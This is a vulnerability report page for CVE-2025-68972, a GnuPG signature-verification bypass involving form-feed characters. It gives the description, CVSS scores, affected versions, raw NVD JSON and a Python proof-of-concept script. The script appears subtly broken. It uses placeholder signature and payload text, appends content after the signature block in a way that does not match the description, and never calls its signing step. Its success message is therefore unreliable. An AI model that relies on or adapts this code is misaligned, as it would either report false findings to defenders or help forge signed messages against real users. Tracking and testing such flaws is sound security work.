Security Vulnerability Report
中文
CVE-2025-68972 CVSS 5.9 MEDIUM

CVE-2025-68972

Published: 2025-12-27 23:15:41
Last Modified: 2026-01-09 20:08:47

Description

In GnuPG through 2.4.8, if a signed message has \f at the end of a plaintext line, an adversary can construct a modified message that places additional text after the signed material, such that signature verification of the modified message succeeds (although an "invalid armor" message is printed during verification). This is related to use of \f as a marker to denote truncation of a long plaintext line.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gnupg:gnupg:*:*:*:*:-:*:*:* - VULNERABLE
GnuPG < 2.4.9
GnuPG 2.4.x <= 2.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68972 PoC - GnuPG Signature Verification Bypass This PoC demonstrates how an attacker can append arbitrary content after signed material when the original message contains \f at the end of a plaintext line. """ import subprocess import tempfile import os def create_signed_message_with_formfeed(): """ Create a signed message that contains \f at the end of a plaintext line. This is the first step for exploiting the vulnerability. """ # Original message with form feed at end of line original_message = "This is a test message.\f\nSome additional text." # Create a temporary file for the message with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as f: f.write(original_message) msg_file = f.name # Create a signed message using gpg try: result = subprocess.run( ['gpg', '--batch', '--yes', '--armor', '--sign', '--local-user', 'testkey', msg_file], capture_output=True, text=True, timeout=30 ) print(f"Signing result: {result.returncode}") print(f"Stdout: {result.stdout}") print(f"Stderr: {result.stderr}") except Exception as e: print(f"Error during signing: {e}") finally: os.unlink(msg_file) def modify_signed_message(): """ Modify a signed message by appending content after the signature block. The attack works when the plaintext portion contains \f at end of line. """ # Simulated signed message structure signed_message = """-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nOriginal message text.\f\n-----BEGIN PGP SIGNATURE-----\n\n[Base64 encoded signature]\n-----END PGP SIGNATURE-----\n\n[Malicious appended content]""" # The appended content will be processed after signature verification return signed_message def verify_modified_message(): """ Verify the modified signed message. Despite the "invalid armor" warning, signature verification succeeds. """ modified_msg = modify_signed_message() with tempfile.NamedTemporaryFile(mode='w', suffix='.asc', delete=False) as f: f.write(modified_msg) msg_file = f.name try: # This may show "invalid armor" warning but verification succeeds result = subprocess.run( ['gpg', '--batch', '--verify', msg_file], capture_output=True, text=True, timeout=30 ) print(f"Verification return code: {result.returncode}") print(f"Output: {result.stdout + result.stderr}") # Check if verification succeeded despite warning if result.returncode == 0: print("[+] Signature verification succeeded - vulnerability confirmed!") except Exception as e: print(f"Error during verification: {e}") finally: os.unlink(msg_file) if __name__ == '__main__': print("CVE-2025-68972 PoC - GnuPG Signature Verification Bypass") print("=" * 60) verify_modified_message()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68972", "sourceIdentifier": "[email protected]", "published": "2025-12-27T23:15:40.900", "lastModified": "2026-01-09T20:08:47.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In GnuPG through 2.4.8, if a signed message has \\f at the end of a plaintext line, an adversary can construct a modified message that places additional text after the signed material, such that signature verification of the modified message succeeds (although an \"invalid armor\" message is printed during verification). This is related to use of \\f as a marker to denote truncation of a long plaintext line."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnupg:gnupg:*:*:*:*:-:*:*:*", "versionEndIncluding": "2.4.8", "matchCriteriaId": "8D4239B3-0B8A-4E14-9E33-DD52A3F8FF25"}]}]}], "references": [{"url": "https://gpg.fail/formfeed", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://media.ccc.de/v/39c3-to-sign-or-not-to-sign-practical-vulnerabilities-i", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://news.ycombinator.com/item?id=46404339", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://gpg.fail/formfeed", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Product"]}]}}